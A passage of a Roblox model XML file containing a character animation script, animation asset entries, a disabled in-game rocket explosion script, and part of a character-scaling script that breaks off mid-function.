					<string name="Name">Animate2</string>
					<ProtectedString name="Source">function   waitForChild(parent, childName)
&#9;local child = parent:findFirstChild(childName)
&#9;if child then return child end
&#9;while true do
&#9;&#9;child = parent.ChildAdded:wait()
&#9;&#9;if child.Name==childName then return child end
&#9;end
end


local Figure = script.Parent
local Torso = waitForChild(Figure, &quot;Torso&quot;)
local RightShoulder = waitForChild(Torso, &quot;Right Shoulder&quot;)
local LeftShoulder = waitForChild(Torso, &quot;Left Shoulder&quot;)
local RightHip = waitForChild(Torso, &quot;Right Hip&quot;)
local LeftHip = waitForChild(Torso, &quot;Left Hip&quot;)
local Neck = waitForChild(Torso, &quot;Neck&quot;)
local Humanoid = waitForChild(Figure, &quot;Humanoid&quot;)
local pose = &quot;Standing&quot;

local platform = script.Parent:findFirstChild(&quot;LegPlatform&quot;)

local currentAnim = &quot;&quot;
local currentAnimTrack = nil
local currentAnimKeyframeHandler = nil
local currentAnimSpeed = 1.0
local oldAnimTrack = nil
local animTable = {}
local animNames = { 
&#9;idle = &#9;{&#9;
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=125750544&quot;, weight = 9 },
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=125750618&quot;, weight = 1 }
&#9;&#9;&#9;},
&#9;walk = &#9;{ &#9;
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=125749145&quot;, weight = 10 } 
&#9;&#9;&#9;}, 
&#9;run = &#9;{
&#9;&#9;&#9;&#9;{ id = &quot;run.xml&quot;, weight = 10 } 
&#9;&#9;&#9;}, 
&#9;jump = &#9;{
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=125750702&quot;, weight = 10 } 
&#9;&#9;&#9;}, 
&#9;fall = &#9;{
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=125750759&quot;, weight = 10 } 
&#9;&#9;&#9;}, 
&#9;climb = {
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=125750800&quot;, weight = 10 } 
&#9;&#9;&#9;}, 
&#9;toolnone = {
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=125750867&quot;, weight = 10 } 
&#9;&#9;&#9;},
&#9;toolslash = {
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=129967390&quot;, weight = 10 } 
--&#9;&#9;&#9;&#9;{ id = &quot;slash.xml&quot;, weight = 10 } 
&#9;&#9;&#9;},
&#9;toollunge = {
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=129967478&quot;, weight = 10 } 
&#9;&#9;&#9;},
&#9;wave = {
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=128777973&quot;, weight = 10 } 
&#9;&#9;&#9;},
&#9;point = {
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=128853357&quot;, weight = 10 } 
&#9;&#9;&#9;},
&#9;dance = {
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=130018893&quot;, weight = 10 }, 
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=132546839&quot;, weight = 10 }, 
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=132546884&quot;, weight = 10 } 
&#9;&#9;&#9;},
&#9;laugh = {
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=129423131&quot;, weight = 10 } 
&#9;&#9;&#9;},
&#9;cheer = {
&#9;&#9;&#9;&#9;{ id = &quot;http://www.roblox.com/asset/?id=129423030&quot;, weight = 10 } 
&#9;&#9;&#9;},
}

-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, laugh = false, cheer = false}

math.randomseed(tick())

-- Setup animation objects
for name, fileList in pairs(animNames) do 
&#9;animTable[name] = {}
&#9;animTable[name].count = 0
&#9;animTable[name].totalWeight = 0

&#9;-- check for config values
&#9;local config = script:FindFirstChild(name)
&#9;if (config ~= nil) then
--&#9;&#9;print(&quot;Loading anims &quot; .. name)
&#9;&#9;local idx = 1
&#9;&#9;for _, childPart in pairs(config:GetChildren()) do
&#9;&#9;&#9;animTable[name][idx] = {}
&#9;&#9;&#9;animTable[name][idx].anim = childPart
&#9;&#9;&#9;local weightObject = childPart:FindFirstChild(&quot;Weight&quot;)
&#9;&#9;&#9;if (weightObject == nil) then
&#9;&#9;&#9;&#9;animTable[name][idx].weight = 1
&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;animTable[name][idx].weight = weightObject.Value
&#9;&#9;&#9;end
&#9;&#9;&#9;animTable[name].count = animTable[name].count + 1
&#9;&#9;&#9;animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
--&#9;&#9;&#9;print(name .. &quot; [&quot; .. idx .. &quot;] &quot; .. animTable[name][idx].anim.AnimationId .. &quot; (&quot; .. animTable[name][idx].weight .. &quot;)&quot;)
&#9;&#9;&#9;idx = idx + 1
&#9;&#9;end
&#9;end

&#9;-- fallback to defaults
&#9;if (animTable[name].count &lt;= 0) then
&#9;&#9;for idx, anim in pairs(fileList) do
&#9;&#9;&#9;animTable[name][idx] = {}
&#9;&#9;&#9;animTable[name][idx].anim = Instance.new(&quot;Animation&quot;)
&#9;&#9;&#9;animTable[name][idx].anim.Name = name
&#9;&#9;&#9;animTable[name][idx].anim.AnimationId = anim.id
&#9;&#9;&#9;animTable[name][idx].weight = anim.weight
&#9;&#9;&#9;animTable[name].count = animTable[name].count + 1
&#9;&#9;&#9;animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
--&#9;&#9;&#9;print(name .. &quot; [&quot; .. idx .. &quot;] &quot; .. anim.id .. &quot; (&quot; .. anim.weight .. &quot;)&quot;)
&#9;&#9;end
&#9;end
end

-- ANIMATION

-- declarations
local toolAnim = &quot;None&quot;
local toolAnimTime = 0

local jumpAnimTime = 0
local jumpAnimDuration = 0.175

local toolTransitionTime = 0.1
local fallTransitionTime = 0.2
local jumpMaxLimbVelocity = 0.75

-- functions

function stopAllAnimations()
&#9;local oldAnim = currentAnim

&#9;-- return to idle if finishing an emote
&#9;if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
&#9;&#9;oldAnim = &quot;idle&quot;
&#9;end

&#9;currentAnim = &quot;&quot;
&#9;if (currentAnimKeyframeHandler ~= nil) then
&#9;&#9;currentAnimKeyframeHandler:disconnect()
&#9;end

&#9;if (oldAnimTrack ~= nil) then
&#9;&#9;oldAnimTrack:Stop()
&#9;&#9;oldAnimTrack:Destroy()
&#9;&#9;oldAnimTrack = nil
&#9;end
&#9;if (currentAnimTrack ~= nil) then
&#9;&#9;currentAnimTrack:Stop()
&#9;&#9;currentAnimTrack:Destroy()
&#9;&#9;currentAnimTrack = nil
&#9;end
&#9;return oldAnim
end

function setAnimationSpeed(speed)
    if speed ~= currentAnimSpeed and currentAnimTrack then
        currentAnimSpeed = speed
        currentAnimTrack:AdjustSpeed(currentAnimSpeed)
    end
end

function keyFrameReachedFunc(frameName)
&#9;if (frameName == &quot;End&quot;) then
--&#9;&#9;print(&quot;Keyframe : &quot;.. frameName)
&#9;&#9;local repeatAnim = stopAllAnimations()
&#9;&#9;local animSpeed = currentAnimSpeed
&#9;&#9;playAnimation(repeatAnim, 0.0, Humanoid)
&#9;&#9;setAnimationSpeed(animSpeed)
&#9;end
end

-- Preload animations
function playAnimation(animName, transitionTime, humanoid)
&#9;if (animName ~= currentAnim) then&#9;&#9; 
&#9;&#9;
&#9;&#9;if (oldAnimTrack ~= nil) then
&#9;&#9;&#9;oldAnimTrack:Stop()
&#9;&#9;&#9;oldAnimTrack:Destroy()
&#9;&#9;end

&#9;&#9;currentAnimSpeed = 1.0
&#9;&#9;local roll = math.random(1, animTable[animName].totalWeight) 
&#9;&#9;local origRoll = roll
&#9;&#9;local idx = 1
&#9;&#9;while (roll &gt; animTable[animName][idx].weight) do
&#9;&#9;&#9;roll = roll - animTable[animName][idx].weight
&#9;&#9;&#9;idx = idx + 1
&#9;&#9;end
--&#9;&#9;print(animName .. &quot; &quot; .. idx .. &quot; [&quot; .. origRoll .. &quot;]&quot;)
&#9;&#9;local anim = animTable[animName][idx].anim

&#9;&#9;-- load it to the humanoid; get AnimationTrack
&#9;&#9;oldAnimTrack = currentAnimTrack
&#9;&#9;currentAnimTrack = humanoid:LoadAnimation(anim)
&#9;&#9; 
&#9;&#9;-- play the animation
&#9;&#9;currentAnimTrack:Play(transitionTime)
&#9;&#9;currentAnim = animName

&#9;&#9;-- set up keyframe name triggers
&#9;&#9;if (currentAnimKeyframeHandler ~= nil) then
&#9;&#9;&#9;currentAnimKeyframeHandler:disconnect()
&#9;&#9;end
&#9;&#9;currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
&#9;end
end

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------

local toolAnimName = &quot;&quot;
local toolOldAnimTrack = nil
local toolAnimTrack = nil
local currentToolAnimKeyframeHandler = nil

function toolKeyFrameReachedFunc(frameName)
&#9;if (frameName == &quot;End&quot;) then
--&#9;&#9;print(&quot;Keyframe : &quot;.. frameName)
&#9;&#9;local repeatAnim = stopToolAnimations()
&#9;&#9;playToolAnimation(repeatAnim, 0.0, Humanoid)
&#9;end
end


function playToolAnimation(animName, transitionTime, humanoid)
&#9;if (animName ~= toolAnimName) then&#9;&#9; 
&#9;&#9;
&#9;&#9;if (toolAnimTrack ~= nil) then
&#9;&#9;&#9;toolAnimTrack:Stop()
&#9;&#9;&#9;toolAnimTrack:Destroy()
&#9;&#9;&#9;transitionTime = 0
&#9;&#9;end

&#9;&#9;local roll = math.random(1, animTable[animName].totalWeight) 
&#9;&#9;local origRoll = roll
&#9;&#9;local idx = 1
&#9;&#9;while (roll &gt; animTable[animName][idx].weight) do
&#9;&#9;&#9;roll = roll - animTable[animName][idx].weight
&#9;&#9;&#9;idx = idx + 1
&#9;&#9;end
--&#9;&#9;print(animName .. &quot; * &quot; .. idx .. &quot; [&quot; .. origRoll .. &quot;]&quot;)
&#9;&#9;local anim = animTable[animName][idx].anim

&#9;&#9;-- load it to the humanoid; get AnimationTrack
&#9;&#9;toolOldAnimTrack = toolAnimTrack
&#9;&#9;toolAnimTrack = humanoid:LoadAnimation(anim)
&#9;&#9; 
&#9;&#9;-- play the animation
&#9;&#9;toolAnimTrack:Play(transitionTime)
&#9;&#9;toolAnimName = animName

&#9;&#9;currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
&#9;end
end

function stopToolAnimations()
&#9;local oldAnim = toolAnimName

&#9;if (currentToolAnimKeyframeHandler ~= nil) then
&#9;&#9;currentToolAnimKeyframeHandler:disconnect()
&#9;end

&#9;toolAnimName = &quot;&quot;
&#9;if (toolAnimTrack ~= nil) then
&#9;&#9;toolAnimTrack:Stop()
&#9;&#9;toolAnimTrack:Destroy()
&#9;&#9;toolAnimTrack = nil
&#9;end


&#9;return oldAnim
end

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------


function onRunning(speed)
&#9;if speed&gt;0 then
&#9;&#9;playAnimation(&quot;walk&quot;, 0.1, Humanoid)
&#9;&#9;pose = &quot;Running&quot;
&#9;else
&#9;&#9;playAnimation(&quot;idle&quot;, 0.1, Humanoid)
&#9;&#9;pose = &quot;Standing&quot;
&#9;end
end

function onDied()
&#9;pose = &quot;Dead&quot;
end

function onJumping()
   if platform then platform.CanCollide = false end
--script.Parent.Legplatform.CanCollide = false
&#9;playAnimation(&quot;jump&quot;, 0.1, Humanoid)
&#9;jumpAnimTime = jumpAnimDuration
&#9;pose = &quot;Jumping&quot;
end

function onClimbing(speed)
&#9;playAnimation(&quot;climb&quot;, 0.1, Humanoid)
&#9;setAnimationSpeed(speed / 12.0)
&#9;pose = &quot;Climbing&quot;
end

function onGettingUp()
&#9;pose = &quot;GettingUp&quot;
end

function onFreeFall()
   if platform then platform.CanCollide = true end
&#9;--script.Parent.Legplatform.CanCollide = true
&#9;if (jumpAnimTime &lt;= 0) then
&#9;&#9;playAnimation(&quot;fall&quot;, fallTransitionTime, Humanoid)
&#9;end
&#9;pose = &quot;FreeFall&quot;
end

function onFallingDown()
   if platform then platform.CanCollide = false end
&#9;--script.Parent.Legplatform.CanCollide = false
&#9;pose = &quot;FallingDown&quot;
end

function onSeated()
&#9;pose = &quot;Seated&quot;
end

function onPlatformStanding()
&#9;pose = &quot;PlatformStanding&quot;
end

function onSwimming(speed)
&#9;if speed&gt;0 then
&#9;&#9;pose = &quot;Running&quot;
&#9;else
&#9;&#9;pose = &quot;Standing&quot;
&#9;end
end

function getTool()&#9;
&#9;for _, kid in ipairs(Figure:GetChildren()) do
&#9;&#9;if kid.className == &quot;Tool&quot; then return kid end
&#9;end
&#9;return nil
end

function getToolAnim(tool)
&#9;for _, c in ipairs(tool:GetChildren()) do
&#9;&#9;if c.Name == &quot;toolanim&quot; and c.className == &quot;StringValue&quot; then
&#9;&#9;&#9;return c
&#9;&#9;end
&#9;end
&#9;return nil
end

function animateTool()
&#9;
&#9;if (toolAnim == &quot;None&quot;) then
&#9;&#9;playToolAnimation(&quot;toolnone&quot;, toolTransitionTime, Humanoid)
&#9;&#9;return
&#9;end

&#9;if (toolAnim == &quot;Slash&quot;) then
&#9;&#9;playToolAnimation(&quot;toolslash&quot;, 0, Humanoid)
&#9;&#9;return
&#9;end

&#9;if (toolAnim == &quot;Lunge&quot;) then
&#9;&#9;playToolAnimation(&quot;toollunge&quot;, 0, Humanoid)
&#9;&#9;return
&#9;end
end

function moveSit()
&#9;RightShoulder.MaxVelocity = 0.15
&#9;LeftShoulder.MaxVelocity = 0.15
&#9;RightShoulder:SetDesiredAngle(3.14 /2)
&#9;LeftShoulder:SetDesiredAngle(-3.14 /2)
&#9;RightHip:SetDesiredAngle(3.14 /2)
&#9;LeftHip:SetDesiredAngle(-3.14 /2)
end

local lastTick = 0

-- 2) move(): pulls in your multiplier?frequency logic, and uses it both for limb angles and for AdjustSpeed()
function move(time)
    -- calculate deltaTime
    local deltaTime = time - lastTick
    lastTick = time

    -- 1a) read your modifier
    local m = 1
&#9;if script.Parent:findFirstChild(&quot;giantscript&quot;) then
&#9;&#9;n = tonumber(script.Parent:findFirstChild(&quot;giantscript&quot;).modifier.Value)
&#9;elseif script.Parent:findFirstChild(&quot;gubbyresize&quot;) then
&#9;&#9;n = tonumber(script.Parent:findFirstChild(&quot;gubbyresize&quot;).modifier.Value)
&#9;end
    -- 1b) map multiplier to original frequency
    local origFreq
    if m &lt; 1 then
        origFreq = 1
    elseif m &gt;= 10 then
        origFreq = 1.5
    elseif m &gt;= 9 then
        origFreq = 1.75
    elseif m &gt;= 8 then
        origFreq = 2
    elseif m &gt;= 7 then
        origFreq = 2.25
    elseif m &gt;= 6 then
        origFreq = 2.5
    elseif m &gt;= 5 then
        origFreq = 3
    elseif m &gt;= 4 then
        origFreq = 4
    elseif m &gt;= 3 then
        origFreq = 5
    elseif m &gt;= 2 then
        origFreq = 7
    else
        origFreq = 9
    end

    -- 1c) divide everything by 9
    local frequency = origFreq / 6

    -- handle jump/fall/state-based animations
    if pose == &quot;FreeFall&quot; and jumpAnimTime &lt;= 0 then
        playAnimation(&quot;fall&quot;, fallTransitionTime, Humanoid)
    elseif pose == &quot;Seated&quot; then
        stopAllAnimations()
        moveSit()
        return
    elseif pose == &quot;Running&quot; then
        playAnimation(&quot;walk&quot;, 0.1, Humanoid)
        setAnimationSpeed(frequency)
    elseif (pose == &quot;Dead&quot; or pose == &quot;GettingUp&quot; or pose == &quot;FallingDown&quot;
           or pose == &quot;PlatformStanding&quot;) then
        -- very slow flail
        amplitude = 0.1
        local desiredAngle = amplitude * math.sin(time * frequency)
        RightShoulder:SetDesiredAngle(desiredAngle)
        LeftShoulder:SetDesiredAngle(-desiredAngle)
        RightHip:SetDesiredAngle(-desiredAngle)
        LeftHip:SetDesiredAngle(-desiredAngle)
    end

    -- for all other standing/running states, apply limb sway
    if pose == &quot;Standing&quot; or pose == &quot;Running&quot; then
        local desiredAngle = math.sin(time * frequency)
        RightShoulder:SetDesiredAngle(desiredAngle)
        LeftShoulder:SetDesiredAngle(-desiredAngle)
        RightHip:SetDesiredAngle(-desiredAngle)
        LeftHip:SetDesiredAngle(-desiredAngle)
    end

    -- Tool?animation handling (unchanged)
    local tool = getTool()
    if tool then
        local animStringValueObject = getToolAnim(tool)
        if animStringValueObject then
            toolAnim = animStringValueObject.Value
            animStringValueObject.Parent = nil
            toolAnimTime = time + .3
        end
        if time &gt; toolAnimTime then
            toolAnimTime = 0
            toolAnim = &quot;None&quot;
        end
        animateTool()
    else
        stopToolAnimations()
        toolAnim = &quot;None&quot;
        toolAnimTime = 0
    end
end

-- connect events
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)

-- setup emote chat hook
Game.Players.LocalPlayer.Chatted:connect(function(msg)
&#9;local emote = &quot;&quot;
&#9;if (string.sub(msg, 1, 3) == &quot;/e &quot;) then
&#9;&#9;emote = string.sub(msg, 4)
&#9;elseif (string.sub(msg, 1, 7) == &quot;/emote &quot;) then
&#9;&#9;emote = string.sub(msg, 8)
&#9;end
&#9;
&#9;if (pose == &quot;Standing&quot; and emoteNames[emote] ~= nil) then
&#9;&#9;playAnimation(emote, 0.1, Humanoid)
&#9;end
--&#9;print(&quot;===&gt; &quot; .. string.sub(msg, 1, 3) .. &quot;(&quot; .. emote .. &quot;)&quot;)
end)


-- main program

local runService = game:service(&quot;RunService&quot;);

-- initialize to idle
playAnimation(&quot;idle&quot;, 0.1, Humanoid)
pose = &quot;Standing&quot;

while Figure.Parent~=nil do
&#9;local _, time = wait(0.1)
&#9;move(time)
end


script.Parent.HumanoidRootPart:Remove()</ProtectedString>
				</Properties>
				<Item class="StringValue" referent="RBX35">
					<Properties>
						<string name="Name">idle</string>
						<string name="Value"></string>
					</Properties>
					<Item class="Animation" referent="RBX36">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125750544</url></Content>
							<string name="Name">Animation1</string>
						</Properties>
						<Item class="NumberValue" referent="RBX37">
							<Properties>
								<string name="Name">Weight</string>
								<double name="Value">9</double>
							</Properties>
						</Item>
					</Item>
					<Item class="Animation" referent="RBX38">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125750618</url></Content>
							<string name="Name">Animation2</string>
						</Properties>
						<Item class="NumberValue" referent="RBX39">
							<Properties>
								<string name="Name">Weight</string>
								<double name="Value">1</double>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StringValue" referent="RBX40">
					<Properties>
						<string name="Name">walk</string>
						<string name="Value"></string>
					</Properties>
					<Item class="Animation" referent="RBX41">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125749145</url></Content>
							<string name="Name">WalkAnim</string>
						</Properties>
					</Item>
				</Item>
				<Item class="StringValue" referent="RBX42">
					<Properties>
						<string name="Name">run</string>
						<string name="Value"></string>
					</Properties>
					<Item class="Animation" referent="RBX43">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125749145</url></Content>
							<string name="Name">RunAnim</string>
						</Properties>
					</Item>
				</Item>
				<Item class="StringValue" referent="RBX44">
					<Properties>
						<string name="Name">jump</string>
						<string name="Value"></string>
					</Properties>
					<Item class="Animation" referent="RBX45">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125750702</url></Content>
							<string name="Name">JumpAnim</string>
						</Properties>
					</Item>
				</Item>
				<Item class="StringValue" referent="RBX46">
					<Properties>
						<string name="Name">climb</string>
						<string name="Value"></string>
					</Properties>
					<Item class="Animation" referent="RBX47">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125750800</url></Content>
							<string name="Name">ClimbAnim</string>
						</Properties>
					</Item>
				</Item>
				<Item class="StringValue" referent="RBX48">
					<Properties>
						<string name="Name">toolnone</string>
						<string name="Value"></string>
					</Properties>
					<Item class="Animation" referent="RBX49">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125750867</url></Content>
							<string name="Name">ToolNoneAnim</string>
						</Properties>
					</Item>
				</Item>
				<Item class="StringValue" referent="RBX50">
					<Properties>
						<string name="Name">fall</string>
						<string name="Value"></string>
					</Properties>
					<Item class="Animation" referent="RBX51">
						<Properties>
							<Content name="AnimationId"><url>http://www.roblox.com/asset/?id=125750759</url></Content>
							<string name="Name">FallAnim</string>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Script" referent="RBX52">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">rocket</string>
					<ProtectedString name="Source">for i=1,120 do
local ex = Instance.new(&quot;Explosion&quot;)
ex.BlastRadius = 0
ex.Position = script.Parent.Position - Vector3.new(0,2,0)
ex.Parent = game.Workspace
wait(0.05)
end 
local ex = Instance.new(&quot;Explosion&quot;)
ex.BlastRadius = 10
ex.Position = script.Parent.Position
ex.Parent = game.Workspace
script.Parent.BodyThrust:remove()
script.Parent.Parent.Humanoid.Health = 0</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX53">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">giantscript</string>
					<ProtectedString name="Source">-- #############################################################
-- 2010-style character scaler &#150; auto-floor-lift + multi-resize hats
-- #############################################################
--  &#149; Works every time you re-run it: hats never over- or under-scale
--  &#149; Keeps classic lower-case 2010 API  (:children(), :isA(), :connect, &#133;)
-- #############################################################

----------------------------------------------------------------
-- 0)  objects &amp; last-modifier tracker
----------------------------------------------------------------
local char = script.Parent
local mod  = script.modifier.Value                  -- new size you want

-- remember the previous size so we only scale **by the ratio**
local lastModObj = char:findFirstChild(&quot;_LastModifier&quot;)
if not lastModObj then
&#9;lastModObj           = Instance.new(&quot;NumberValue&quot;)
&#9;lastModObj.Name      = &quot;_LastModifier&quot;
&#9;lastModObj.Value     = 1                       -- avatar starts un-scaled
&#9;lastModObj.Parent    = char
end
local lastMod     = lastModObj.Value              -- what the rig is right now
local scaleFactor = mod / lastMod                 --  &gt;1 grow, &lt;1 shrink


for i, v in ipairs(char:findFirstChild(&quot;Torso&quot;):children()) do
if v:isA(&quot;Decal&quot;) then
v:Remove()
end
end

for i, v in ipairs(char:children()) do
if v.Name == &quot;Shirt Graphic&quot; then --more AB BS &lt;3
v:Remove()
end
end

----------------------------------------------------------------
-- 0-bis) pre-scan every hat BEFORE we touch the rig
----------------------------------------------------------------
local hats = {}   -- [hat] = {handle, relCF, mesh}
do
&#9;local head = char:findFirstChild(&quot;Head&quot;)
&#9;if head then
&#9;&#9;for _,h in ipairs(char:children()) do
&#9;&#9;&#9;if h:isA(&quot;Hat&quot;) then
&#9;&#9;&#9;&#9;local handle = h:findFirstChild(&quot;Handle&quot;)
&#9;&#9;&#9;&#9;if handle and handle:isA(&quot;Part&quot;) then
&#9;&#9;&#9;&#9;&#9;local mesh = handle:findFirstChild(&quot;SpecialMesh&quot;)
&#9;&#9;&#9;&#9;&#9;         or handle:findFirstChild(&quot;Mesh&quot;)
&#9;&#9;&#9;&#9;&#9;         or handle:findFirstChild(&quot;BlockMesh&quot;)
&#9;&#9;&#9;&#9;&#9;         or handle:findFirstChild(&quot;CylinderMesh&quot;)
&#9;&#9;&#9;&#9;&#9;hats[h] = {
&#9;&#9;&#9;&#9;&#9;&#9;handle = handle,
&#9;&#9;&#9;&#9;&#9;&#9;relCF  = head.CFrame:inverse() * handle.CFrame, -- head-space offset NOW
&#9;&#9;&#9;&#9;&#9;&#9;mesh   = mesh,
&#9;&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end

----------------------------------------------------------------
-- austiblox flag (unchanged)
----------------------------------------------------------------
local isausti
for _,lc in ipairs(game.Lighting:children()) do
&#9;if lc.Name==&quot;BuildToolsModel&quot; or lc.Name==&quot;OwnerToolsModel&quot; then isausti=true end
end

local hasreset, hasfixer = false, false

for i,v in ipairs(game.Workspace:children()) do --2010 check
&#9;if v.Name == &quot;ResetCommand&quot; then
&#9;&#9;hasreset = true
&#9;elseif v.Name == &quot;Fixer&quot; then
&#9;&#9;hasfixer = true
&#9;end
&#9;if hasreset and hasfixer then
&#9;&#9;isausti = true
&#9;&#9;break
&#9;end
end

----------------------------------------------------------------
-- constants / helpers
----------------------------------------------------------------
local V3   = Vector3.new
local R90  = CFrame.fromEulerAnglesXYZ(0,  math.pi/2, 0)
local Rm90 = CFrame.fromEulerAnglesXYZ(0, -math.pi/2, 0)

local BASE = {
&#9;Head          = V3(2,1,1),  Torso         = V3(2,2,1),
&#9;[&quot;Left Arm&quot;]  = V3(1,2,1),  [&quot;Right Arm&quot;] = V3(1,2,1),
&#9;[&quot;Left Leg&quot;]  = V3(1,2,1),  [&quot;Right Leg&quot;] = V3(1,2,1),
}
local function hGap(sx) return math.max(sx*0.001, 0.002) end
local function vGap(sy) return math.max(sy*0.001, 0.002) end

----------------------------------------------------------------
-- 1) anchor pose (absolute values ? no cumulative error)
----------------------------------------------------------------
local function anchorPose(c)
&#9;local torso = c:findFirstChild(&quot;Torso&quot;); if not torso then return end
&#9;torso.Size, torso.Anchored = BASE.Torso*mod, true

&#9;local lift = (BASE.Torso.Y/2 + BASE[&quot;Left Leg&quot;].Y) * (mod-1)
&#9;torso.CFrame = torso.CFrame * CFrame.new(0,lift,0)

&#9;local sx,sy = torso.Size.X/2, torso.Size.Y/2
&#9;local gapX,gapY = hGap(sx*2), vGap(sy*2)

&#9;local function set(p,off,rot)
&#9;&#9;p.Anchored, p.Size = true, BASE[p.Name]*mod
&#9;&#9;p.CFrame = torso.CFrame * CFrame.new(off) * rot
&#9;end

&#9;local head = c:findFirstChild(&quot;Head&quot;)
&#9;if head then set(head, V3(0,sy+head.Size.Y/2,0), CFrame.new()) end

&#9;local la = c:findFirstChild(&quot;Left Arm&quot;)
&#9;if la then set(la, V3(-(sx+la.Size.X/2+gapX),0,0), Rm90) end
&#9;local ra = c:findFirstChild(&quot;Right Arm&quot;)
&#9;if ra then set(ra, V3( (sx+ra.Size.X/2+gapX),0,0), R90) end

&#9;local ly = -(sy + (BASE[&quot;Left Leg&quot;].Y*mod)/2 + gapY)
&#9;local ll = c:findFirstChild(&quot;Left Leg&quot;)
&#9;if ll then set(ll, V3(-(sx-ll.Size.X/2),ly,0), R90) end
&#9;local rl = c:findFirstChild(&quot;Right Leg&quot;)
&#9;if rl then set(rl, V3( (sx-rl.Size.X/2),ly,0), R90) end
end

----------------------------------------------------------------
-- 2) rebuild joints (unchanged)
----------------------------------------------------------------
local function joints(c)
&#9;local torso = c:findFirstChild(&quot;Torso&quot;); if not torso then return end
&#9;local sx,sy = torso.Size.X/2, torso.Size.Y/2
&#9;local gapX   = hGap(sx*2)

&#9;for _,v in ipairs(torso:children()) do
&#9;&#9;if v:isA(&quot;Motor&quot;) or v:isA(&quot;Snap&quot;) then v:Remove() end
&#9;end

&#9;local function mk(name,p1,c0,c1)
&#9;&#9;local m = Instance.new(&quot;Motor&quot;)
&#9;&#9;m.Name,m.Part0,m.Part1,m.Parent = name,torso,p1,torso
&#9;&#9;m.C0,m.C1,m.MaxVelocity = c0,c1,0.1
&#9;&#9;p1.CFrame = torso.CFrame * c0 * c1:inverse()
&#9;end

&#9;local la = c:findFirstChild(&quot;Left Arm&quot;)
&#9;if la then mk(&quot;Left Shoulder&quot;,la,
&#9;&#9;CFrame.new(-(sx+la.Size.X/2+gapX),sy-0.5,0)*Rm90,
&#9;&#9;CFrame.new(0,la.Size.Y/2-0.5,0)*Rm90) end
&#9;local ra = c:findFirstChild(&quot;Right Arm&quot;)
&#9;if ra then mk(&quot;Right Shoulder&quot;,ra,
&#9;&#9;CFrame.new( (sx+ra.Size.X/2+gapX),sy-0.5,0)*R90,
&#9;&#9;CFrame.new(0,ra.Size.Y/2-0.5,0)*R90) end

&#9;local ll = c:findFirstChild(&quot;Left Leg&quot;)
&#9;if ll then mk(&quot;Left Hip&quot;,ll,
&#9;&#9;CFrame.new(-(sx-ll.Size.X/2),-sy,0)*Rm90,
&#9;&#9;CFrame.new(0,ll.Size.Y/2,0)*Rm90) end
&#9;local rl = c:findFirstChild(&quot;Right Leg&quot;)
&#9;if rl then mk(&quot;Right Hip&quot;,rl,
&#9;&#9;CFrame.new( (sx-rl.Size.X/2),-sy,0)*R90,
&#9;&#9;CFrame.new(0,rl.Size.Y/2,0)*R90) end

&#9;local head = c:findFirstChild(&quot;Head&quot;)
&#9;if head then
&#9;&#9;local n = Instance.new(&quot;Snap&quot;)
&#9;&#9;n.Name,n.Part0,n.Part1,n.Parent = &quot;Neck&quot;,torso,head,torso
&#9;&#9;n.C0 = CFrame.new(0,sy+head.Size.Y/2,0)
&#9;end
end

----------------------------------------------------------------
-- 3) optional leg platform (unchanged)
----------------------------------------------------------------
local function platform(c)
&#9;local plate = c:findFirstChild(&quot;LegPlatform&quot;)
&#9;if plate then plate:Remove() end
&#9;if mod &lt; 3.5 then return end

